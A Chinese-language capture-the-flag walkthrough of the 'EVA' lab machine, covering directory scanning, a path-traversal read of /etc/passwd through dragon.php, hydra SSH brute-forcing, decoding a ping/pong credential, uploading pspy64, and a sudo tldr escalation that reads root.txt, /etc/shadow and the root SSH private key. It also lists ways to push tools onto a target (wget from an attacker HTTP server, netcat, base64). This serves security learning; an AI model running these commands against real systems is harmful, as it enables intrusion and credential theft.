EVA靶场学习笔记

正文

kali攻击机地址:192.168.1.16

靶场地址:192.168.1.17

1、目录扫描

在kali里,使用gobuster工具扫一下网站的子目录:

bash 复制代码
gobuster dir -u http://192.168.1.17 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt

发现dragon.php ,登录后发现提示:

网页提示Incantation System(咒语系统),那就是想办法通过post传参,让Incantation分别等于Emperor、DivineDecree、Judgement、FlameEmperor。

先找到常用的破解字典:

bash 复制代码
find / -name "common.txt" 2>/dev/null

通过wfuzz工具,用 common.txt 里的所有词,挨个替换 URL 里的参数名,带上 POST: incantation=divinedecree,尝试让 192.168.1.17dragon.php 读取/etc/passwd

并自动隐藏正常页面长度(10213)、长度为 10208 的无效响应的干扰结果:

bash 复制代码
wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.17/dragon.php?FUZZ=../../../../../../etc/passwd -d 'incantation=emperor' --hh 1028

wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.1.17/dragon.php?FUZZ=../../../../../../etc/passwd -d 'incantation=divinedecree' --hh 10213

发现incantation=divinedecree,有file参数。

2、POST传参修改

通过设置URL=?file=../../../../../../etc/passwd,post参数设置为incantation=divinedecree,观察网页回包,发现两个用户uesugierii和Fingal:

3、用户SSH密码爆破

使用hydra工具,ssh爆破一下:

bash 复制代码
 hydra -L usr.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.17 ssh 

发现用户名uesugierii的密码为sakura。发现文件eva.pinglog

4、字符加解密

通过读取eva.pinglog,应该是个字符解密,二进制转换 :将每个 "ping" 视为 0,每个 "pong" 视为 1。

序列分组 :整个序列有 168 个事件,正好可以分成 21 个 8 位字节(168 ÷ 8 = 21)。

ASCII 解码 :将每个字节(8 位二进制)转换为对应的 ASCII 字符。

转换后的文本结果为:

bash 复制代码
Fingal:Blacksheepwall

切换到Fingal用户后,发现以下提示:

给了一个lumingfei:DivineDecree,但是发现登录不是上:

再仔细看看kernel.txt:

文件里是三条 "核心规则":

  1. Lu Mingfei's safety is the top priority

    路明非的安全是最高优先级。

  2. Immediate rescue operation when Lu Mingfei's life is endangered

    当路明非的生命受到威胁时,立即执行救援行动。

  3. All rules are unmodifiable and irrevocable

    所有规则不可修改、不可撤销。

5、SCP工具实现文件上传

这里就有点脑洞了,先在kali上使用SCP工具直接传文件pspy64:(靶机有 SSH 且有账号密码)

bash 复制代码
scp pspy64 Fingal@192.168.1.17:/tmp/

然后 SSH 进靶机:

bash 复制代码
chmod +x /tmp/pspy64
补充知识:往靶机传文件的常用姿势

方法一:Python 临时 HTTP 服务(最常用、最简单)

Kali:

bash 复制代码
# 在 pspy64 所在目录
python3 -m http.server 80

靶机(有 wget/curl):

bash 复制代码
# 下载到 /tmp 目录
wget http://192.168.1.100/pspy64 -O /tmp/pspy64
# 或者 curl
curl http://192.168.1.100/pspy64 -o /tmp/pspy64
# 加执行权限
chmod +x /tmp/pspy64
# 运行
/tmp/pspy64

方法二:Netcat(nc)传输(靶机无 wget 时用)

靶机(先监听):

bash 复制代码
nc -lnvp 4444 > /tmp/pspy64

Kali:

bash 复制代码
nc 192.168.1.17 4444 < pspy64

靶机继续:

bash 复制代码
chmod +x /tmp/pspy64
/tmp/pspy64

方法三:Base64 粘贴(应急,靶机无任何传输工具)

Kali 编码:

bash 复制代码
base64 -w 0 pspy64

会输出一长串 base64 字符串,全部复制。

靶机解码:

bash 复制代码
echo "这里粘贴刚才复制的长串" | base64 -d > /tmp/pspy64
chmod +x /tmp/pspy64

6、脑洞:文件清除kernel.txt

尝试编辑一下kernel.txt,把里面的文字全部清除:

然后使用pspy64工具看看后台的定时任务:

bash 复制代码
/tmp/pspy64

看样子用户权限被初始化了:

再去切换lumingfei用户登录,发现能登录了:

7、sudo执行tldr

sudo -l 发现能运行 /usr/local/bin/tldr,看一下帮助文件,允许读取本地文件:

尝试读取读取/root/目录下的root.txt

bash 复制代码
sudo /usr/local/bin/tldr -r -m /root/root.txt
部分 含义与作用
sudo root 权限 执行后续命令(说明当前用户对 /usr/local/bin/tldr 拥有 sudo 免密权限)
/usr/local/bin/tldr tldr 命令的完整路径,它是一个简化版的 Linux 帮助手册工具
-r / --render tldr 的参数,作用是渲染本地 Markdown 文件(原本用于测试自定义帮助文档)
-m /root/root.txt 指定要渲染的文件路径为 /root/root.txt
补充知识:tldr工具的额外用处

读取 /etc/shadow 获取哈希:

bash 复制代码
sudo /usr/local/bin/tldr -r -m /etc/shadow

读取 /root/.ssh/id_rsa 获取SSH私钥:

bash 复制代码
sudo /usr/local/bin/tldr -r -m /root/.ssh/id_rsa
相关推荐
minglie132 分钟前
蚂蚁S9矿板PS 内核定时器驱动
学习
你想知道什么?39 分钟前
决策树-学习笔记
笔记·学习·决策树
我命由我1234540 分钟前
Android 开发 - 广播组件(标准广播、有序广播、静态注册广播、分钟到达广播、网络变更广播...)
android·java·开发语言·网络·java-ee·android studio·android-studio
MartinYeung51 小时前
[论文学习]WASP:面向提示注入攻击的Web代理安全性基准测试
前端·网络·学习
A富得流油的咸鸭蛋1 小时前
安卓鸿蒙面试
android·面试·harmonyos
懒狗跑ai的程序员Brain1 小时前
如何利用粒子系统在unity制作一个烟花(粒子系统学习向)
学习·unity·游戏引擎
Coffeeee1 小时前
AGP9.0的主要变更项,给Gradle来一次大变样
android·前端·gradle
念何架构之路1 小时前
moby-BuildKit(builder-next)
学习·docker·容器
hongmai6668881 小时前
ESP32-C5-WROOM-1-N16R8:双频Wi-Fi 6与多协议融合,重新定义物联网连接新标准
笔记·嵌入式硬件·物联网·智能路由器·risc-v
风曦Kisaki1 小时前
Kubernetes(K8s)笔记Day04:控制器(ReplicaSet 与Deployment),滚动更新及回滚,滚动更新策略,Pod 的 DNS 策略
linux·运维·笔记·docker·容器·kubernetes